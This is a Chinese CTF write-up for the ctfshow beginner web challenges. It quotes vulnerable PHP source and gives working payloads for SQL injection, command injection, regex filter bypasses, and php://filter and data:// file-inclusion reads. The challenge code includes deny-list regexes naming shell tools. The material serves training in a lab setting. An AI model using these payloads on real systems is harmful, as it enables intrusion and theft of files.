CTFSHOW WEB 1-100

web入门

给她 1

参考文档

https://blog.csdn.net/weixin_51412071/article/details/124270277

image-20221016152918514

查看链接

sql注入

<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>

在这里插入图片描述

直接用这里的payload也可以,但是要构造万能密码,把and换为or就行%1$' and 1=1#

在这里插入图片描述

?name=admin&pass=%1$' or 1=1--+


在这里插入图片描述

找到此页面的cookie

转为16进制解码得到

flag.txt

尝试将Cookie中的file赋值为/flag,即

将/flag换成16进制

Cookie: file=2f666c6167

成功

image-20221016153919564

签到题
<?php 
if(isset($_GET['url'])){
        system("curl https://".$_GET['url'].".ctf.show");
}else{
        show_source(__FILE__);
}
 ?>

代码审计

构造url

get传入url

system表示php直接执行系统的命令

"|"是管道命令操作符,简称管道符。

使用管道符"|"可以将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。连续使用管道意味着第一个命令的输出会作为 第二个命令的输入,

第二个命令的输出又会作为第三个命令的输入,依此类推.

构造

http://edbb7af6-9f4a-445e-9578-93b24d1559c6.challenge.ctf.show/?url=;ls;

则为:

curl https://;ls;.ctf.show

例如:

image-20221016155234428

靶场如下:

执行ls

image-20221016155454138

执行cat查看flag

image-20221016155443323

假赛生
<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
    show_source("index.php");
}else{
    $name=$_SESSION['name'];
    $sql='select pass from user where name="'.$name.'"';
    echo $sql."<br />";
    system('4rfvbgt56yhn.sh');
    $query=mysqli_query($conn,$sql);
    $result=mysqli_fetch_assoc($query);
    if($name==='admin'){
        echo "admin!!!!!"."<br />";
        if(isset($_GET['c'])){
            preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
            echo $flag;
        }else{
            echo "you not admin";
        }
    }
}
?>

题目显示register.php和login.php提示

image-20221016161314867

image-20221016161330150

注册admin

image-20221016162148396

使用admin (空格)注册

image-20221016162329783

注册成功

尝试登录

证实登录页面的php后台属于 上述

接着注入c

preg_replace_callback 函数执行一个正则表达式搜索并且使用一个回调进行替换。
mixed preg_replace_callback ( mixed $pattern , callable $callback , mixed $subject [, int $limit = -1 [, int &$count ]] )

这个函数的行为除了可以指定一个 callback 替代 replacement 进行替换字符串的计算,其他方面等同于 preg_replace()。

参数说明:

  • $pattern: 要搜索的模式,可以使字符串或一个字符串数组。
  • $callback: 一个回调函数,在每次需要替换时调用,调用时函数得到的参数是从subject 中匹配到的结果。
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • $count: 可选,为替换执行的次数。
有关正则匹配的知识
 \w:用于匹配字母,数字或下划线字符;
 \W:用于匹配所有与\w不匹配的字符;
 “*”元字符规定其前导字符必须在目标对象中出现零次或连续多次;

其实没有过滤空格此处为空即可

image-20221016163057416

信息收集

web1

image-20230427223217342

查看源码即可

web2

强制打开

先在另外的页面打开检查,然后输入地址

web3

image-20230427224059029

web4

image-20230427224644763

访问 这个url

image-20230427224846043

web5

image-20230427225107148

web6

提示:解压源码到当前目录,测试正常,收工

url/www.zip

得到zip

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-01 14:37:13
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-01 14:42:44
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
//flag in fl000g.txt
echo "web6:where is flag?"
?>

url/fl000g.txt

image-20221020103326713

web7
版本控制很重要,但不要部署到生产环境更重要。
原理
Git是一个开源的分布式版本控制系统,在执行git init初始化目录的时候,会在当前目录下自动创建一个.git目录,用来记录代码的变更记录等。发布代码的时候,如果没有把.git这个目录删除,就直接发布到了服务器上,攻击者就可以通过它来恢复源代码。

image-20221020103614829

web12

有时候网站上的公开信息,就是管理员常用密码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V8TRkAZo-1682607215362)(null)]

整个网页

url/admin

提示登录

寻找密码

https://img-blog.csdnimg.cn/20210516091428533.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0dvb2RyaWM=,size_16,color_FFFFFF,t_70

直接登录

web14

小0day:某编辑器最新版默认配置下,如果目录不存在,则会遍历服务器根目录

有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人

http://10a7bbc1-1b83-4af6-9e3a-da357edaf2b6.challenge.ctf.show/editor/


image-20221020105409348

如上图

image-20221020105621724

点击图片空间

遍历文件得到

fl000g.txt

image-20221020105907576

web16
对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露

url/tz.php

image-20221020110443648

点击

image-20221020110857139phpinfo

ctfshow{91d643da-2afc-4ff8-b6cc-d61a1d0cc296}

web17
备份的sql文件会泄露敏感信息

后台

下载到sql语句

查询得到

INSERT INTO `ctfshow_secret` VALUES ('ctfshow{49c243e0-a3e9-42d6-9378-760ebfd1bbb4}');
web18
不要着急,休息,休息一会儿,玩101分给你flag

查看js源码

image-20221020112647730

\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b

image-20221020112735104

解码后

访问

image-20221020112804421

web19
密钥什么的,就不要放在前端了

image-20221020113152582

    error_reporting(0);
    $flag="fakeflag"
    $u = $_POST['username'];
    $p = $_POST['pazzword'];
    if(isset($u) && isset($p)){
        if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){
            echo $flag;
        }
}

ctfshow{4e1cc67e-fe41-42f3-89a5-dfa1608cc269}

打开brup

发现passzd不一样,修改passzd即可

爆破

web23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

提示爆破,安排

在线编写函数爆破

image-20221022103319377

输入得到flag

ctfshow{eeee6a3c-db2e-4e5d-8aec-0adc7b1f4617}

web24
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:26:39
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

?> Linux version 5.4.0-126-generic (buildd@lcy02-amd64-072) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #142-Ubuntu SMP Fri Aug 26 12:12:57 UTC 2022 Linux version 5.4.0-126-generic (buildd@lcy02-amd64-072) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #142-Ubuntu SMP Fri Aug 26 12:12:57 UTC 2022

intval() 函数用于获取变量的整数值。

直接在线php输入

image-20221022104751176

得到值

https://blog.csdn.net/qq_45521281/article/details/107302795

不幸的是,php每次调用mt_rand()函数时,都会先检查是否已经播种。如果已经播种就直接产生随机数,否则调用php_mt_srand来播种。也就是说每个php cgi进程期间,只有第一次调用mt_rand()会自动播种。接下来都会根据这个第一次播种的种子来生成随机数。

web25
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:56:57
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}
Linux version 5.4.0-126-generic (buildd@lcy02-amd64-072) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #142-Ubuntu SMP Fri Aug 26 12:12:57 UTC 2022 Linux version 5.4.0-126-generic (buildd@lcy02-amd64-072) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #142-Ubuntu SMP Fri Aug 26 12:12:57 UTC 2022
web27

image-20221022115313068

下载得到名单

爆破身份证号

image-20221022115331879

得到union,解码

恭喜您,您已被我校录取,你的学号为02015237 初始密码为身份证号码

登录即可

命令执行

Web29
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

preg_match 函数用于执行一个正则表达式匹配。

使用system函数操作

image-20221023161830249

因为flag字符串被过滤

使用tac命令

反序查看

tac的功能是可以将文件的内容倒着顺序输出

http://13a798dc-688b-43e1-a5d8-58020aa6328f.challenge.ctf.show/?c=system(“tac fl*.php”);

查出

Web30
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

加入过滤的system和php

PHP 支持一个执行运算符:反引号(``)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“`”的效果与函数 shell_exec() 相同。
由此:可以

image-20221023163456777

image-20221023163522779

web31
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

这次过滤了空格和

使用%09绕过

image-20221023163945698

image-20221023163957796

仔细看url

image-20221023164106080

或者使用跳板

/?c=eval($_GET[1]);&1=system(“tac flag.php”);

web32
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

过滤巨多

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web33

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

因为这题和web32一样,过滤了括号"|(",所以有括号的函数肯定是不能用了,只能尝试文件包含,用include函数

http://edd31fdf-49f2-48cf-b97e-fb12b3f7bc40.challenge.ctf.show/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

当然使用post方法也可以

http://edd31fdf-49f2-48cf-b97e-fb12b3f7bc40.challenge.ctf.show/?c=include%0a$_POST[1]?>
1=php://filter/convert.base64-encode/resource=flag.php

得到base64编码的flag

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YmEzNTJjNGYtZjhlMC00NDk0LWFjYjMtZWY4NDUwNDJjOTc5fSI7DQo=

解码后即可

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:49:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$flag="ctfshow{ba352c4f-f8e0-4494-acb3-ef845042c979}";

web34
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

与web33上述方法相同

web35
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

与web33一样

web36
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

上述的绕过无效

查看得知过滤了数字

所以使用其他索引,可以不加’’

http://3ad812aa-9d4c-40c2-9384-929c66b16173.challenge.ctf.show/?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web37
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

改变题型

不是eval执行

使用伪协议

data://text/plain协议

此协议需要在双on的情况下才能使用,很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入

使用方法:data://text/plain;base64,base64编码字符 如http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

data://text/plain,字符 如http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>

http://ef1a0754-409c-4a9a-815b-cfcfa60f054c.challenge.ctf.show/?c=data://text/plain,<?php phpinfo(); ?>

可以执行

过略了flag

所以使用占位符?

http://ef1a0754-409c-4a9a-815b-cfcfa60f054c.challenge.ctf.show/?c=data://text/plain,<?php system("cp fla?.php 1.txt") ;?>
http://ef1a0754-409c-4a9a-815b-cfcfa60f054c.challenge.ctf.show/1.txt

即可查看

web38
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

新加了php和file限制

使用php代码块绕过

注意flag.php 不能包含php

加上使用短标签绕过

说明:“=”是PHP的一个短的开放式标签,是echo() 的快捷用法。

http://8bd3cc78-8585-4eb6-9005-ff69df84e908.challenge.ctf.show/?c=data://text/plain,<?= system("cp fl??.* 1.txt");  ?>
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 05:12:00
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:12:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{8b2e8b99-4c4a-47fc-b328-3697c7d33ce6}";
web39
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
} 

没有回显

include 只生成警告(E_WARNING),并且脚本会继续

后面强制加入后缀

http://91a1aa8b-b89f-4c99-9da9-4a04b5c8ba05.challenge.ctf.show/?c=data://text/plain,<?php phpinfo(); ?>

有回显

然后

因为php 先执行前面的,再执行.php 所以有回显

http://91a1aa8b-b89f-4c99-9da9-4a04b5c8ba05.challenge.ctf.show/?c=data://text/plain,<?php system("cp fla?.php 1.txt");?>

页面显示.php

1.txt

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 05:12:00
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:12:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{513f94f6-1efc-46d6-9bdb-451848a70f2a}";
web40
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

官方

http://c6854ce2-0c57-4597-837b-7eab839fcd51.challenge.ctf.show/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
web41
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?> 
web42
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 

类似黑洞

输入第一个参数无反应

http://ea3d4b38-8807-483c-afec-55841fcef42f.challenge.ctf.show/?c=ls

空白

双写绕过

http://ea3d4b38-8807-483c-afec-55841fcef42f.challenge.ctf.show/?c=ls;ls

flag.php index.php

http://ea3d4b38-8807-483c-afec-55841fcef42f.challenge.ctf.show/?cat flag/php;ls

?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:44
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:49:53
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{b18aaef2-c72e-4578-b3c0-b0040746fb94}";

知识点

1、可以将/dev/null看作"黑洞". 它非常等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到. 然而, /dev/null对命令行和脚本都非常的有用.
用处:
禁止标准输出. 1 cat $filename >/dev/null # 文件内容丢失,而不会输出到标准输出.
禁止标准错误. 2>/dev/null 这样错误信息[标准错误]就被丢到太平洋去了.

> 代表重定向到哪里,例如:echo “123” > /home/123.txt
1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1

1>/dev/null 首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

web43
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤了;和cat

使用url编码加&&绕过

http://0256d8cb-b147-44d8-9e67-a55b98c4b24a.challenge.ctf.show/?c=ls%26%26ls

flag.php index.php

当&&的时候才会执行第二个命令

直接执行

http://0256d8cb-b147-44d8-9e67-a55b98c4b24a.challenge.ctf.show/?c=tac flag.php%26%26ls

web44
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤了flag

使用通配符

http://4d153915-5e45-4ce0-8bd9-fa7917cc64a1.challenge.ctf.show/?c=tac fla*.php%26%26ls

web45
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

多过滤了空格

http://5dea72b2-e966-4cda-a019-4a98e0896f30.challenge.ctf.show/?c=tac%09fl**.php%26%26ls

使用ascii表的%09绕过

Ascii表如下:

二进制十进制十六进制字符/缩写解释
00000000000NUL (NULL)空字符
00000001101SOH (Start Of Headling)标题开始
00000010202STX (Start Of Text)正文开始
00000011303ETX (End Of Text)正文结束
00000100404EOT (End Of Transmission)传输结束
00000101505ENQ (Enquiry)请求
00000110606ACK (Acknowledge)回应/响应/收到通知
00000111707BEL (Bell)响铃
00001000808BS (Backspace)退格
00001001909HT (Horizontal Tab)水平制表符
00001010100ALF/NL(Line Feed/New Line)换行键
00001011110BVT (Vertical Tab)垂直制表符
00001100120CFF/NP (Form Feed/New Page)换页键
00001101130DCR (Carriage Return)回车键
00001110140ESO (Shift Out)不用切换
00001111150FSI (Shift In)启用切换
000100001610DLE (Data Link Escape)数据链路转义
000100011711DC1/XON (Device Control 1/Transmission On)设备控制1/传输开始
000100101812DC2 (Device Control 2)设备控制2
000100111913DC3/XOFF (Device Control 3/Transmission Off)设备控制3/传输中断
000101002014DC4 (Device Control 4)设备控制4
000101012115NAK (Negative Acknowledge)无响应/非正常响应/拒绝接收
000101102216SYN (Synchronous Idle)同步空闲
000101112317ETB (End of Transmission Block)传输块结束/块传输终止
000110002418CAN (Cancel)取消
000110012519EM (End of Medium)已到介质末端/介质存储已满/介质中断
00011010261ASUB (Substitute)替补/替换
00011011271BESC (Escape)逃离/取消
00011100281CFS (File Separator)文件分割符
00011101291DGS (Group Separator)组分隔符/分组符
00011110301ERS (Record Separator)记录分离符
00011111311FUS (Unit Separator)单元分隔符
001000003220(Space)空格
001000013321!
001000103422"
001000113523#
001001003624$
001001013725%
001001103826&
001001113927
001010004028(
001010014129)
00101010422A*
00101011432B+
00101100442C,
00101101452D-
00101110462E.
00101111472F/
0011000048300
0011000149311
0011001050322
0011001151333
0011010052344
0011010153355
0011011054366
0011011155377
0011100056388
0011100157399
00111010583A:
00111011593B;
00111100603C<
00111101613D=
00111110623E>
00111111633F?
010000006440@
010000016541A
010000106642B
010000116743C
010001006844D
010001016945E
010001107046F
010001117147G
010010007248H
010010017349I
01001010744AJ
01001011754BK
01001100764CL
01001101774DM
01001110784EN
01001111794FO
010100008050P
010100018151Q
010100108252R
010100118353S
010101008454T
010101018555U
010101108656V
010101118757W
010110008858X
010110018959Y
01011010905AZ
01011011915B[
01011100925C\
01011101935D]
01011110945E^
01011111955F_
011000009660`
011000019761a
011000109862b
011000119963c
0110010010064d
0110010110165e
0110011010266f
0110011110367g
0110100010468h
0110100110569i
011010101066Aj
011010111076Bk
011011001086Cl
011011011096Dm
011011101106En
011011111116Fo
0111000011270p
0111000111371q
0111001011472r
0111001111573s
0111010011674t
0111010111775u
0111011011876v
0111011111977w
0111100012078x
0111100112179y
011110101227Az
011110111237B{
011111001247C|
011111011257D}
011111101267E~
011111111277FDEL (Delete)删除
web46
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

不让*和数字

换成??即可

http://5dea72b2-e966-4cda-a019-4a98e0896f30.challenge.ctf.show/?c=tac%09fl??.php%26%26ls

web47
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

直接用上一个的payload

web48

一样没有过滤tac

web49

一样没有过滤tac

web50
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤了%09和$和空格

http://a5efde63-ab05-4a72-abcf-f55eb76bfa8c.challenge.ctf.show/?c=nl<fla"g.php||ls

url编码后

http://a5efde63-ab05-4a72-abcf-f55eb76bfa8c.challenge.ctf.show/?c=nl<fla’'g.php%7C%7Cls

nl命令:

nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。

其中’'为两个的单引号

web51

与web50一样

web52
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 
